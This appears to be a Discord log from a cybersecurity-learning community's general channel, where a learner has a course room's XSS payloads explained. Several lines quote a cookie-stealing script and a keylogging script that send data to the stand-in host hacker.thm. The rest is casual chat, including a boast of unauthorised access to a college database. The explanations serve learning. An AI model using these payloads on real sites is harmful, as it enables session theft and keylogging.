#general

1 messages ยท Page 341 of 1

twin ridgeBOT
#

Gave +1 Rep to @graceful thistle (current: #23 - 369)

devout palm
#

Gosh, this is the worst of the worst

graceful thistle
#

in JS you are gonna find a lot of references to document ( DOM ) and the window object. You can 'listen' to many different kinds of events. Events are often abbreviated as 'e' as a parameter. Events can be anything like: onkeypress, touchstart, touchend, click, ondrag, ondragstart, ondragend, on scroll. Any type of interactivity. You will see a ton of this if you start reading more JS code

#

any time you press a key, I can listen to that event. Then I can specify: if e.key === 'Escape' (for example), then I want to close some modal for instance

#

it's how we handle all the interactivity on websites ๐Ÿ™‚

fleet turtle
#

right, so break this down into human terms, i understand the syntax but not quite what it entails

#

im not sure why its laid out like that it was one line when i copied it

worn thorn
#

it included newlines

graceful thistle
fleet turtle
#

right, and is document.onkeypress the part that is listening?

graceful thistle
#

yes

#

you will often see this instead:

button.addEventListener('click', handleClick);

or something similiar. Specifically, the .addEventListener method that then has 2 params: the type of event and then function it needs to do when that event happens

fleet turtle
#

so document.keypress is listening for key presses, if it does it will do the function where it sends the value of the key, encodes it,and sends it over?

#

and is there a meaning to the e in function (e) here?

graceful thistle
#

thats the event param

#

if you dont pass the event to the function, you can't get the value of the key that was pressed

#

so e in btoa(e.key) would be 'undefined' and the whole thing wouldnt work

fleet turtle
#

right right

#

and does .key have a meaning here or is it just for convenience

sand trench
#

time to go for early meep moop to the beep boop for the sleep sloop

graceful thistle
#

the .key has the value of the key that was pressed

worn thorn
#

nighty shadow

graceful thistle
#

hold on, 3 sec

#

go here

#

and press any key

#

this page listens for any keypress and on that keypress event, it gets the e.key value and shows the user all the information about that key ๐Ÿ™‚

fleet turtle
#

so is .key used here because it is a keypress event we are looking for?

graceful thistle
#

not quite, the e (event) is the keypress event. e.key is a property of that event

#

e = Event in that list

fleet turtle
#

and also is it going left to right or right to left or is there any order at all when it is doing the encoding and fetching the url?

graceful thistle
#

key is one of the specifics of that event yes ๐Ÿ™‚ but there is a whole list of other specifics too!

fleet turtle
graceful thistle
#

this event

fleet turtle
#

i see i see

fleet turtle
#

is it appending the key to the url?

graceful thistle
#

yes!

#

exactly

fleet turtle
#

oh man that makes way more sense

graceful thistle
#

๐Ÿ™‚

#

nice one

fleet turtle
twin ridgeBOT
#

Gave +1 Rep to @graceful thistle (current: #23 - 370)

fleet turtle
#

so to clarify

#

document.onkeypress is listening for a key press event, the parameter of the function is set as the event occuring, e being short for event, onkeypress being the event, once the event occurs it takes the key, encodes it from binary to ascii, and appends it to the https://hacker.thm/log?key= ?

graceful thistle
worldly hearth
#

I forgot download Advent of Cyber 2023 Certificate of Completion. I tried to download now but failed. Is there anyway I can download now?

#

I tried to to click on certificate but It did not show up.

fleet turtle
#

alright i understand it way more now, thank goodness

#

<script>alert('XSS');</script>

with this, would " work in place of the ' ?

graceful thistle
fleet turtle
#

i see i see

#

i definitely understand it far more than i did before

graceful thistle
#

glad to hear that ๐Ÿ˜„

fleet turtle
#

one more thing, with this
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

how do we end up with the query steal?cookie=, what does it mean here?

dire nova
#

I finally joined ๐Ÿ™‚

#

This whole time I thought I was in this server! I'm slow

graceful thistle
worldly hearth
fleet turtle
twin ridgeBOT
#

โž• Gave the role InfoSec Developer to ngrokruss

fleet turtle
#

and in the url what does "steal" represent?

dire nova
#

@jagged yarrow how you been man?!

graceful thistle
#

you will find key and value pairs there. For example if I have a website and my users can choose a dark or light theme, I can save an item in their localStorage with their theme preference (dark or light). The item may be called 'theme' and the value will be 'dark'. I can access the value of that item through the localStorage.getItem("theme"), get the value (much like the earlier e.key value) and then set the correct theme for the user (load the correct CSS)

torpid furnace
twin ridgeBOT
#

Gave +1 Rep to @dire nova (current: #2167 - 1)

graceful thistle
#

localStorage is a property of window (like key was a property of Event)

dire nova
fleet turtle
#

right, and what does properties mean in this context, what is the purpose of a property

torpid furnace
graceful thistle
#

And then cookie is a property of document in the same manenr

dire nova
torpid furnace
vagrant bison
#

No problem. Verified as requested.

dire nova
torpid furnace
#

Or bots

dire nova
fleet turtle
dire nova
#

legit lol

torpid furnace
#

Damn

dire nova
#

who uses bots like

#

wth

#

that's weird

eternal timber
#

Lots of people

torpid furnace
#

Me lol for smma agency ๐Ÿ™๐Ÿ˜ญ

gray sonnet
dire nova
#

yeah, I don't at all

#

i'm big on all platforms

gray sonnet
#

But I'll take your word for what you've said before @vagrant bison

torpid furnace
gray sonnet
dire nova
#

and running a large server

#

I'm not here to promote thou

graceful thistle
dire nova
#

Just came here to support thm

gray sonnet
#

Hi dolphin, srhoe ๐Ÿ‘‹

graceful thistle
#

Heya Vain, hyd

dire nova
fleet turtle
gray sonnet
gray sonnet
dire nova
#

so I'm happy lol

gray sonnet
#

Aye, studying >>>>

dire nova
graceful thistle
gray sonnet
dire nova
#

@mossy river <33333333

mossy river
#

<3

graceful thistle
#

cant have been very serious if it only lasted 1 day, heheh

dire nova
dire nova
#

hows everyone doing?

torpid furnace
#

Good wbu

dire nova
gray sonnet
#

It's almost 5 AM here, I should get to bed

torpid furnace
#

Sorry that sounds weird

#

What timezone

gray sonnet
#

IST haha

eternal timber
#

18 day streak

coarse moth
fleet turtle
eternal timber
#

Nice

#

Coffee makes me sleepy

autumn solar
#

Coffee might as well be a whole new food group to me

#

I can't go without it

hollow spruce
#

hi can someone help me with a post i sent in quiet conversation?

graceful thistle
buoyant tree
#

hullo

eternal timber
#

MDN?

fleet turtle
#

yeah i definitely understand it way better, i just need to understand the queries better, thats about it

#

phew

autumn solar
graceful thistle
autumn solar
#

Ohhhh

graceful thistle
#

no, I mean MDN ๐Ÿ˜› and I'm a she ๐Ÿ™

eternal timber
#

Oh I see

autumn solar
#

I stand corrected

#

On both counts

graceful thistle
#

no worries

hollow spruce
# hollow spruce hi can someone help me with a post i sent in quiet conversation?

nevermind ill just send here if its alright

I got a simple but weird scenario from an issues report that i study
Can someone explain and tell me what kind of severity level it would get and why if its even a vulnerability of the site? its a weird xss that is non-persistent and only displayed on the user's side and session. a username input can be a payload that will run in the dom after submission but the user would have to do interceptions, changes to requests first thus a malicious exploit can only happen if an attacker makes a website that automatically does this process on the victim's computer. the injected site is then displayed to the user.
Like i would say its really not a big problem or is it?

finite rock
fleet turtle
hollow spruce
fleet turtle
#

alright i understand js enough for the day

graceful thistle
#

haha

graceful thistle
#

well done, you learned a lot

fleet turtle
#

yep im rather content with what i learnt

#

i can understand the payloads that are provided as examples in the xss room

fleet turtle
finite rock
hollow spruce
finite rock
hollow spruce
#

oh well

crude stump
finite rock
hollow spruce
#

i tried putting this in chagpt but it said its a severe vulnerability but i dont think so thats why i need someone to help me understand the scenario and its severity

crude stump
#

๐Ÿ‘

finite rock
hollow spruce
#

so its rather a high priority with a low severity?

crude stump
hollow spruce
hollow spruce
#

oh its a reported issue from github

finite rock
crude stump
#

Btw is this school work sock

hollow spruce
#

its been patched but they didnt say the severity and i want to understand it

solemn sentinel
#

https://vaultdelta.social-networking.me/
does enyone knowes something about this site? it is full with riddles and encrypted text. does anyone knows how to creak it or find the owner? DM's are open for theories.....

grim sparrowBOT
fleet turtle
#

150, thats a wrap for now

solemn sentinel
#

LOL

#

i just dont know where to start

hollow spruce
solemn sentinel
#

bored

#

besides nothing is better tan a good mystery

fleet turtle
solemn sentinel
#

one line of what? HTML wont do it

fleet turtle
#

"who we are is a secrit"
"inforamtion saved successfully"

fleet turtle
#

this description was definitely generated by chatgpt

solemn sentinel
fleet turtle
#

powered by wordpress lmao

solemn sentinel
#

some thing like that

solemn sentinel
fleet turtle
#

"no access" proceeds to give me access

solemn sentinel
#

to what?

bold umbra
#

anyone familiar with overthewire?

solemn sentinel
#

nope sorry

fleet turtle
tired peak
bold umbra
#

free too I think

solemn sentinel
#

o ok, i will take a look

fleet turtle
# solemn sentinel to what?

theres a button that simply says no access and yet i can enter just find, and its just some crappy arg language

tired peak
#

yes, its good although I took a look at pwn college again this morning and they've added a lot of stuff including unix stuff, somewhat similar to overthewire

fleet turtle
#

where did you find this @solemn sentinel ?

solemn sentinel
#

a friend randomly messaged me with this, how he god it? no idea

finite rock
#

LOL

#

BRO

solemn sentinel
#

what?

fleet turtle
#

it says the IP of my VPN and then says the data has been saved, there is nothing to suggest it has been saved

solemn sentinel
#

yeah i know

fleet turtle
#

edgelords made this site, no creativity at all

solemn sentinel
#

just a simple HTML script

hollow spruce
#

"html script"

finite rock
#

It just showed, my VPN IP, am i cooked?

solemn sentinel
#

no

#

nothing is being saved

fleet turtle
finite rock
#

I can't even go into that god damn website with brave because of cookies

rapid merlin
fleet turtle
#

chatgpt really cooked, in fact chatgpt overcooked, terribly

solemn sentinel
#

yeah, can we reverse engineer some code? or is that illegal again?

fleet turtle
#

this shit isnt cooked its charred

hollow spruce
solemn sentinel
candid niche
#

๐Ÿ‘€

finite rock
rapid merlin
#

Everything fun = illegal

solemn sentinel
#

good point

fleet turtle
#

"<description>If you reveal your secret to the wind you should not blame the wind for revealing them to the trees.</description>"

hollow spruce
#

so wrong

finite rock
solemn sentinel
#

yep

fleet turtle
rapid merlin
#

Good pointy actually

fleet turtle
#

yeah thats why they are jackasses

grim sparrowBOT
#

There are no URLs in that message.

rapid merlin
#

๐Ÿ˜„

solemn sentinel
#

accident

#

๐Ÿคฏ

#

this is what i mend

umbral bay
rapid merlin
solemn sentinel
#

+100 IQ afther this man

supple tangle
#

๐Ÿˆ

fleet turtle
#

i found a bunch of weird comments, this site is definitely just edgelords and a lot of chatgpt

buoyant tree
#

@sand trench @blazing granite Any of you here?
Is Feta or cheddar blend or shredded provolone better on pizza.

hollow spruce
solemn sentinel
tired peak
buoyant tree
#

It's a plain cheese pizza I'm ordering but it's got fancy topping options

buoyant tree
tired peak
#

also I only thing I know of swedish pizza is... bananas

buoyant tree
buoyant tree
#

.

tired peak
#

you can get weirder than bananas on pizza?

buoyant tree
#

uh yes.

buoyant tree
#

49.701 days

tepid furnace
#

sata andagiii

candid niche
fleet turtle
fleet turtle
#

absolutely pathetic man

#

what kind of edgelord arg is this

#

finding some html comments

#

yeah this is a poorly made arg, i wouldnt put any time into this

solemn sentinel
#

i am running decrypt program RN to see if i can find out what that stuff means

fleet turtle
#

and the IP reading part is just a pathetic scare tactic, it just sends a get request to some site that gets that data, it doesnt save anything

finite rock
#

ssh on port 27015 lol

fleet turtle
#

parts of a poorly constructed ARG

  • poorly architected site/story
  • shitty scare tactic
  • absolutely no purpose except to garner attention for a few weeks
solemn sentinel
#

yeah good point

fleet turtle
#

lmao thats all they did

#

slap that in and do absolutely nothing else

finite rock
fleet turtle
#

if they are actually paying for this stupid scare tactic, they are very foolish

solemn sentinel
fleet turtle
solemn sentinel
#

seems about right

fleet turtle
#

if i had a linux machine right now i would be able to get more info, but tbh idrc enough, this site is a sad attempt at replicating every other generic ARG

finite rock
#

no

crude stump
#

Source?

blazing granite
supple tangle
#

same

crude stump
#

Bbq pizza ๐Ÿ˜‹

solemn sentinel
#

disagree

#

so why are you saying it?

finite rock
buoyant tree
#

It's not a halal restaurant and it's a super expensive one

#

So I ain't paying for all the topping's

fleet turtle
crude stump
#

I tried making a honeypot as a project but the tutorial I was following used a payed website

solemn sentinel
#

ok you do you

fleet turtle
#

attackboxes take forever to start man

crude stump
finite rock
#

Had it before

crude stump
#

Oh nice

#

Oh man

#

Says itโ€™s a free trial

#

Hate free trials

finite rock
#

Oh.. it means I had the free trial NotLikeThis

candid niche
#

Good luck

fleet turtle
#

Sup nod

untold marsh
#

There are "a billion" available honeypots free and ready for deployment. Or just make one yourself based on what triggers you want the honeypot to report back

solemn sentinel
boreal scarab
#

@loud marlin

#

Mmmmmm burnt plastic

solemn sentinel
#

jum

boreal scarab
#

@mossy river

solemn sentinel
#

no i dont think so

#

i dont know why TBH

solemn sentinel
#

missed some context buddy

untold marsh
# solemn sentinel https://vaultdelta.social-networking.me/hello-boys/ new page just arrived. no id...

Hello, Steganography! Now known as Cryptography, using the algorithm. Yes, use this technique, โ€˜Cipher textโ€™!. In fact, you see, itโ€™s the foundation of our understanding. Letโ€™s discover and learn more about it without further ado!

Why, the encoding in our life, isnโ€™t it ubiquitous? Answer: I know. Next question: arenโ€™t we creating it from day to day?

Good day! Keep in mind! At last, be careful, at using this algorithm wisely. So, take advantage of: I wonโ€™t leave anything to say! Oh, do you know that breaking the code and revealing hidden messages is an essential part of learning the foundation, that oneโ€™s common knowledge to enhance our understanding more, and weโ€™re all using it everywhere in our daily communication, even cryptography wonโ€™t stay hidden for long! Steganography unveils them!
The key, THE KEY, to our understanding: Let knowledge flow into your mind.

flat roost
#

I wouldn't call him "buddy" tbh

solemn sentinel
#

ok

solemn sentinel
crude stump
untold marsh
#

Kinda fights the purpose of having a honeypot. Internet exposing it and it will triggered in seconds

hollow spruce
#

@solemn sentinel what is your goal? like overall

solemn sentinel
#

cure my bored life :]

mossy river
solemn sentinel
#

i know

hollow spruce
crude stump
#

How would a attacker stumble apon your machine

solemn sentinel
fleet turtle
hollow spruce
solemn sentinel
#

btw who all downlaoded the file?

solemn sentinel
fleet turtle
hollow spruce
mossy river
#

What fileโ€ฆ what funny business is going on here

solemn sentinel
#

2 downloads it shows

#

this file

hollow spruce
#

i really dont want you sending that link here man

crude stump
untold marsh
# crude stump Then i dont get it

You put it amongst your internal aasets, where only sys admin/backend operators are allowed. If they honeypot triggers you know that someone has gained access beyond the first layers of security.
Internet exposing a honeypot will not give you anything but bot traffic

solemn sentinel
crude stump
crude stump
solemn sentinel
#

file is password protected

#

unfortunately ๐Ÿ˜ฆ

untold marsh
#

You can trigger it yourself for log review and trigger testing

crude stump
worn thorn
#

might be an arg or just some public ctf.

hollow spruce
untold marsh
#

@crude stump Have a look at sone open source projects: Cowrie, Dionaea, Kippo, Honeytrap, Glutton amongst others

twin ridgeBOT
#

Gave +1 Rep to @untold marsh (current: #1440 - 2)

worn thorn
fleet turtle
worn thorn
#

normally I'm down for args but that is looks indeed poorly made.

crude stump
#

What does arg mean

#

Like full name

worn thorn
#

alternate reality game

crude stump
#

Oh

#

Never heard of it

worn thorn
#

they are pog

#

for example a game has secrets which stretch beyond the game itself.

crude stump
#

Interesting

hollow spruce
crude stump
#

If itโ€™s simple then you should know

fleet turtle
# worn thorn normally I'm down for args but that is looks indeed poorly made.

yep, shitty scare tactic is the first thing you see with broken english, it says it saved your information but it doesnt, it uses a random API to display the info and you can find it in the source, there is no outbound traffic and there is nothing to suggest it saves as a whole, the story is definitely made by chat-gpt, im sure the creator themselves has no clue what the story is, and all the clues are random edgy stereotypical bits, its overwhelmingly generic

flat roost
worn thorn
# crude stump Interesting

I can recommend you kinitopet and shipwreck 64. Both are well made with shipwreck being my favorite. I haven't even scratched the surface of it.

worn thorn
hollow spruce
hollow spruce
crude stump
#

But like is this a school project or something

hollow spruce
#

no, this is a github issues report

hollow spruce
#

how?

flat roost
hollow spruce
#

this is not a straightforward vulnerability thats why its hard for me to research and study

rapid merlin
#

Any chance I can get into junior cyber roles with zero cyber exp? Seen alot of those ads where they say they'll train you (I'm a web dev)

fleet turtle
#

yes, anyone can

worn thorn
#

with enough time you can get it.

hollow spruce
twin ridgeBOT
#

Gave +1 Rep to @flat roost (current: #224 - 25)

rapid merlin
#

Times a beech

flat roost
oak river
fleet turtle
fleet turtle
hollow spruce
# crude stump Wdym

its said to be a relfected vulnerability which doesnt make complete sense because the user on the other side has to do some things on their side i think but it is done automatically by the malicious site

rapid merlin
oak river
flat roost
crude stump
flat roost
eternal timber
fleet turtle
fleet turtle
oak river
#

All Olympic shooters wear special equipment

eternal timber
#

Oh yeah

#

The archer and the middle aged dad

crude stump
oak river
#

The guy with the glasses used nothing

fleet turtle
crude stump
#

Iโ€™m just guessing because Itโ€™s not very clear to me either

flat roost
#

xss vulns are complicated to classify because some of the effect is theoretical and up to interpretation

#

hence I pointed him to cvss to give a general idea for mapping

#

cause yeah, assessing impact with incomplete data is next to impossible hahah

crude stump
#

Also itโ€™s hard when you havenโ€™t actually seen the vulnerability happen

fleet turtle
crude stump
#

There could be stuff happening behind the scenes

flat roost
#

but I 100% agree

fleet turtle
#

it was ROT13 encoded

worn thorn
#

pretty obvious that

flat roost
fleet turtle
#

whatd you delete it for?

#

lmao fair enough

#

bro

#

๐Ÿ˜ญ

#

i have a feeling not many will get it, even with that

#

im assuming its supposed to represent the trajectory of the bullet or something

#

i see i see

#

that is a very specific joke lmao

eternal timber
#

โ€œJoin the clubโ€ ahh jokes

tawdry orchid
#

hi

eternal timber
#

That wasnโ€™t meant in a negative way

mossy river
#

This discussion isnโ€™t allowed here^

flat roost
twin ridgeBOT
#

Gave +1 Rep to @mossy river (current: #6 - 1299)

rapid merlin
#

Man is learning all this shit kinda boring. I guess it will be worth it in the end.

#

What's a ctf

#

Hmm I'll try it out after I'm done with this course.

#

I feel like I would have better usage with a mentor but everyone seems closed off

#

Which is fine.

#

Bet

graceful thistle
#

if you have questions, you are better off hanging out around the appropriate channels and just ask them in chat

rapid merlin
graceful thistle
#

there is a thread for AI specifically

#

let me find it

rapid merlin
#

Thank you

graceful thistle
#

I believe you have to verify before you can participate in threads

fleet turtle
coarse moth
#

he is new

boreal scarab
#

Welp, Ender 3 V3 KE has been purchased @loud marlin

fleet turtle
boreal scarab
#

I can NOT fix the v2, bowden tube will not come out, all metal hont end is ascrewed, no filament at all can feed through anywhere

coarse moth
muted nebula
#

@rapid merlin I really recommend doing CTF / Challenge rooms to keep motivated. They can be really fun and addictive. I can easily say that I've learned 10 times more stuff solving CTFs compared to just watching videos, reading books and ...

buoyant tree
coarse moth
#

Sorry, I didn't know he was someone experienced, so I thought he was new because of the questions he was asking.

rapid merlin
coarse moth
rapid merlin
coarse moth
boreal scarab
rapid merlin
buoyant tree
coarse moth
#

I don't know where you got that from about "assuming he can't do it", I just don't think it's the best way to start from scratch.

coarse moth
#

ahh ok

fleet turtle
#

How difficult is Mr robot?

#

What skills are required for it?

#

Fuck yeah

#

Tommorow I will do it

#

Tommorow I'm going to do http in detail and the Mr robot ctf

rapid merlin
#

For those of you who learned cyber and became professionals in the field how long did it take? was there any struggles? Is it possible to become a professional without college?

#

Thank you I am trying to learn cybersecurity currently a newbie, did a OSINT job in the past for a small PI company I know how nmap scan, google dork, mostly OSINT stuff and did a little bit of thm rooms before nothing serious though.

twin ridgeBOT
#

Gave +1 Rep to @fervent meteor (current: #239 - 23)

rapid merlin
#

Are we allowed to talk about things like vault 7 here?

#

I have a bunch of courses on hacking and such stuff like the whole PNPT tcm bundle and a bunch of courses from packt, I know a bit of python to make small scripts and yeah lol. Is having heavy knowledge of networking required?

gray sonnet
rapid merlin
#

Thank you for taking the time to answer, I just want a pentesting job or perhaps an OSINT role like I used to have haha

twin ridgeBOT
#

Gave +1 Rep to @fervent meteor (current: #231 - 24)

gray sonnet
#

I don't know where my reply went when I hit send ๐Ÿคทโ€โ™‚๏ธ

rapid merlin
#

Would be cool

gray sonnet
#

Evening Zumi happyPanda

#

why is it that every time I launch war thunder, there's an update...and it's EVERYDAY

rapid merlin
#

I see interesting

gray sonnet
#

and this is just entry level?

#

I can see that kekw

#

when I worked for my junior college, I wouldn't say it was "normal", but it wasn't exactly entry level either

rapid merlin
#

So I should go crazy on the courses and just get really good till I can hopefully land a job? Lol

molten sky
#

internal transfer

#

oh nvm

#

i what you said "what is ..."

rapid merlin
#

Thanks

twin ridgeBOT
#

Gave +1 Rep to @fervent meteor (current: #224 - 25)

rapid merlin
#

Will start on my cyber arch tomorrow (no linux pun intended)

gray sonnet
#

I 100% agree haha, most vulns I found in our infra were web lol

#

yet I suck at web, or the college's security was just shit kekw

#

websites

#

better websites

molten sky
#

if you think that most companies prioritize security, you're in for a pretty rude awakening one day

#

security is a cost center. it doesn't make money. publicly traded companies care about the immediate return, not the possible future issues

gray sonnet
#

I found the master password and the entire student database with every detail including the exact time of enrollment for my college in 8 hours...

gray sonnet
#

what in the world is || hunter2 ||?

#

and guess what the best part about that is? they STILL haven't fixed it.....

gray sonnet
#

and it's been 2 years since I found that vuln kekw

#

lmfao

#

in my second year of Junior College, I was able to generate coupon codes for a discount on the tuition lol, and the coupons could be stacked kekw so essentially make the tuition 0

#

makes sense, in the 2 years I worked there, there was no mention of an NDA, nor was I paid in any form for this lol

#

well, technically, I got a discount of 500$ for 2 years

#

so I guess they did pay me for that, but not the agreed sum, they still gotta pay that facepalm

#

on your DS?

#

Damn

#

lmfao

#

that is very funny

pearl raven
#

Companies care about consequences, aka, reputation harm and fines. Zero fucks otherwise.

gray sonnet
pearl raven
#

Legal is usually the stick, cyber tries to be the carrot.

#

Completely dependent on competant mangement...

#

But I guess that why we have risk acceptance etc.

#

Sorry I'm getting tired and ranting a little.

tulip heath
#

is anything wrong in it?

#

one min]

ocean sparrow
#

Unzip the zipped file then put that as the word list

tulip heath
#

i have extracted it

coarse moth
#

Hey, a question when I redirect with 2>/dev/null does the null file contain all the garbage results piled up?

tulip heath
#

then what?

#

i'll try

coarse moth
#

yup

normal fable
tulip heath
normal fable
#

Basically you're telling it to output errors to null.. or redirect them to nothing.. just don't output them.

#

If I'm making any sense.. brain kinda meh today...

coarse moth
twin ridgeBOT
#

Gave +1 Rep to @normal fable (current: #51 - 148)

normal fable
grave oasis
#

anyone have idea when comptia security + next version gonna come?

normal fable
tulip heath
#

@fervent meteor ๐Ÿฅณ๐Ÿฅณ

normal fable
# tulip heath

I feel like I've had that problem before... But I can't remember how I fixed it.

red zinc
#

Can anyone help me pentest a website? :<< (SQL injection)

molten sky
#

๐Ÿคจ

candid niche
#

Mint is based off Ubuntu isnt it?

molten sky
#

yes

#

they also have a debian based one though called LMDE (linux mint debian edition)

#

(in case canonical pulls the rug or gets [more] screwy)

candid niche
#

I thought I was going crazy

molten sky
#

ya know i see both ton and tonne quite frequently but i don't think i've ever seen tonne with the extra ne in that specific phrase

candid niche
#

I saw the debian version and was questioning everything

molten sky
#

yeah it's their safeguard for the most part

#

they want to be ready

candid niche
molten sky
#

oh definitely is -- just weird noticing that i've never seen that specific phrase use the brit version

boreal scarab
#

@molten sky go the fuck to bed

molten sky
#

i'm working on ci stuff

boreal scarab
molten sky
#

i woke up at 3pm

#

point

polar pecan
#

where i can learn cyber security and ethical hacking for free

graceful thistle
#

do you have a THM account? There are lots of free rooms

polar pecan
graceful thistle
polar pecan
twin ridgeBOT
#

Gave +1 Rep to @graceful thistle (current: #23 - 371)

signal drift
#

what do they do

#

is it usually fun

#

is it like a convention

molten sky
#

convention, conference, whatever -- a bunch of people go to Vegas to network, watch talks, take part in fun side things, but more importantly, a company-paid trip to go get drunk for a week

#

that and blackhat but blackhat is more corporate than defcon (happen around the same time period)

candid niche
#

would love to go to defcon one day

signal drift
#

so cooool

#

i want to get into cyber security

#

TryHackMe is helping me learn

#

thats why i joined this community

graceful thistle
#

welcome ๐Ÿ˜„

molten sky
#

chatgpt is going to be the death of me
idk why i even try to use it sometimes

graceful thistle
#

wtf what do I pick

candid niche
molten sky
#

i feel like over the last year i've spent more time fixing problems caused by chatgpt being terrible than actually solved with chatgpt

candid niche
graceful thistle
#

lmao

#

it was the strawberry. I thought I was supposed to pick one of the 3 top pics but I had to select one of the greyed out objects in the image below

candid niche
#

ohhhh ok

#

I was going to say pick the middle haha

molten sky
#

confused tf outa me for a second

graceful thistle
#

yeah what the hell though

#

lmao

candid niche
#

this Linux PrivEsc room is wild

#

so many shells

graceful thistle
#

am doing this right now

molten sky
#

EEEEeeEEeeeEeeEEEEEe

graceful thistle
rapid merlin
graceful thistle
#

like I would get on twitter 8)

rapid merlin
#

The captcha so dumb though they put items on the face and side of dices but they make them into these weird patterns and you have to like match them together ๐Ÿ˜ญ and pick the right patterns I felt like I was taking a test lol

cedar swan
tulip heath
#

hey hey

tulip heath
#

@molten sky

molten sky
#

i mean, not that i've heard of

#

where at

#

ah, seclists

#

i forget what that consists of but it's old i believe

tulip heath
#

ok thanks

molten sky
#

concerned, huh?

tulip heath
#

no

#

i was just asking

molten sky
#

mhmmmmmmmmm

#

but yeah 90% of these wordlist are just mashed together with unkown crap overtime

tulip heath
#

gotta go to work bye

pine matrix
#

wassup

graceful thistle
#

'Sup regent

pine matrix
#

nmnm

#

just enjoying my weekend

#

wby

graceful thistle
#

this is me all day

#

little under the weather but fine otherwise

pine matrix
#

lmfao me when my cat decided she wanted to cuddle earlier (yay alergies)

#

bleh

#

get well soon mate

graceful thistle
#

aww

#

thanks

#

its better than yesterday already. More sneezing but less sore throat

pine matrix
#

bleh gross

#

are you southern hemisphere?

graceful thistle
#

yeh, your neighbouring country ( if I remember correctly you're from Aussie )

fleet turtle
rapid merlin
#

They are a pain in the ass lol

#

Like literally

fleet turtle
#

Bro those dice ones got me stressin

rapid merlin
rapid merlin
#

This how those dices had me like

molten sky
#

the robot does it just fine

rapid merlin
#

Omg๐Ÿคฃ

icy mesa
rapid merlin
#

This gif was the reason elon made it harder

#

๐Ÿ˜ญ

#

๐Ÿคฃ

rapid merlin
icy mesa
#

you cant just point fingers like that๐Ÿ˜…

#

maybe its a veteran with robo hand...or snake from mgs

chilly veldt
jagged otter
#

What would be the top 5 platforms that also has labs?

#

I heard INE sucks but I never tried them.

stark nest
#

Guys how to hack NASA ?

graceful thistle
#

you will need excellent knowledge of HTML

stark nest
#

no bro there is an easy way but i cant find the hack button on my keyboard ๐Ÿ˜‚

chilly veldt
#

need to get ready, I got a massage in an hour

stark nest
finite rock
blissful pollen
blissful pollen
#

you gotta remember they're all nerds get them excited enough about space and then all your social engineering is ez pz lol

#

*theoretically in minecraft (yes I read rule 4 plz no ban)

jagged otter
#

has anyone tried INE?

chilly veldt
jagged otter
chilly veldt
stark nest
jagged otter
dreamy hamlet
#

Can anyone tell me what other access machines does tryhackme use other than ubuntu

fleet turtle
jagged otter
#

oh bitcoin

fleet turtle
#

Bitcoin lmao

#

Yep

#

Also sup jester

jagged otter
#

just woke up

fleet turtle
#

Same here

jagged otter
#

thinking bout trying to find a different type of platform

shadow loom
#

sup

fleet turtle
#

Yesterday I got some xss done that shit was rough to learn

jagged otter
#

but INE has language barriers, kinda hard to understand what they're saying

fleet turtle
#

Yeahhh

sick lance
#

Crypto ๐Ÿคข

fleet turtle
#

Monero isn't bad

#

Bitcoin is

#

Nfts are

jagged otter
#

crypto is based on how much money the other people put in on it

fleet turtle
#

๐Ÿช™

chilly veldt
red surge
#

Monthly points are not reseting ?

shadow notch
#

hi

icy mesa
jagged otter
#

I never tried it

icy mesa
tulip heath
#

what in the world even is unshadowing?

jagged otter
#

da fuq if i know

naive violet
#

Kinda pointless

tulip heath
naive violet
#

The place in linux where password hashes for users are stored

tulip heath
#

oh

#

thanks @naive violet

twin ridgeBOT
#

Gave +1 Rep to @naive violet (current: #2 - 2165)

naive violet
steel aspen
#

Whys there a speaker next to Thm? Voice channel on?

jagged otter
naive violet
jagged otter
naive violet
jagged otter
#

that answer was too simple

#

im joking

steel aspen
#

I had a feeling but I hadn't seen it before

#

Surprising considering how many servers I'm in

jagged otter
#

where can i go to get more hands on with linux commands?

gray sonnet
# fleet turtle

even with such a significant drop, BTC is still very expensive kekw

fleet turtle
#

Yeah for sure

naive violet
gray sonnet
#

I love this guy kekw

jagged otter
twin ridgeBOT
#

Gave +1 Rep to @naive violet (current: #2 - 2166)

gray sonnet
molten sky
#

why are people on the internet so dumb

outer rivet
fleet turtle
supple tangle
gray sonnet
coarse moth
fleet turtle
#

i have very fond memories of being quite young and someone trying to teach me about batch scripting and regkeys

polar pecan
#

im new kidoo where should i start ? help me in detail comrades

coarse moth
gray sonnet
#

that should be a good place to start

polar pecan
abstract basin
coarse moth
#

Over 46 pages in free rooms results!

sick lance
jagged otter
sick lance
#

My charge cable for my SP is coming here soon.

jagged otter
sick lance
jagged otter
#

I'm so use to xbox

sick lance
sick lance
jagged otter
sick lance
#

Keeps your mind fresh when you have something other than learning.

If you constantly just learn, learn, learn, you'll eventually burn out and get bored.

jagged otter
#

yeah, maybe so. i do know that i really need to relearn linux commands. I forgot basically all of it cause I started doing other things

#

i tried doing a tryhackme challenge and my mind went blank

#

over the wire seems pretty good

#

i like it

#

i think i don't realize what i know

#

doesn't tryhackme have an exam or test to see where you're at?

sick lance
#

Thay have CTF's

#

Other than that, no.

jagged otter
#

i think once i get linux down, i'll be able to flow through things better

#

i'm not saying i plan on learning every linux command or anything but really get the important things fused in my brain

#

i have them on my vm

#

how do you reset tryhackme?

sick lance
#

You can only do rooms one at a time.

jagged otter
sick lance
jagged otter
#

i wish there was away to do a clean slate

coarse moth
sick lance
#

Arch ๐Ÿคข

jagged otter
#

i thought arch linux was buggy

coarse moth
coarse moth
#

what is that

jagged otter
#

hole on

#

wonder why it's not popping up

#

anyway i like this

#

you go through your vm linux to do it

#

i guess google it

#

i tried looking at some stuff from INE and it's kinda like having the russian from rocky instructing you

#

and i'm not paying 60 bucks for that

steel aspen
#

Yeah I just tried it myself. The username and level thing is weird though.

jagged otter
#

overthewire or INE?

steel aspen
#

Level ur on is on the left n ur going into the one on the right using the password from left

#

Overthewire

jagged otter
#

were you able to get in?

steel aspen
#

Then I get confused what username I'm meant to use for which level

#

Yeah I have been

jagged otter
#

im in bandit

steel aspen
#

How do you know which number to use for the level tho? Do u match username to the one your on?

#

Same

jagged otter
#

well it gives you misions to do and once you do it you go to the next level

steel aspen
#

Level 1 -> Level 2 do you use bandit1?

#

To log in

jagged otter
#

hold on

steel aspen
#

Felt like I used one of them twice

simple valve
#

that looks sketchy af

steel aspen
#

I got up to the one with 9 files and it had like 8 files with I think it's ascii

jagged otter
#

i don't know about changing user names

solemn sentinel
steel aspen
#

But how do I know which number to log in with?

steel aspen
sick lance
#

Where did this come from... ๐Ÿ‘€

mossy river
#

Please stop sending this link. If you continue you will be banned.

jagged otter
#

lol

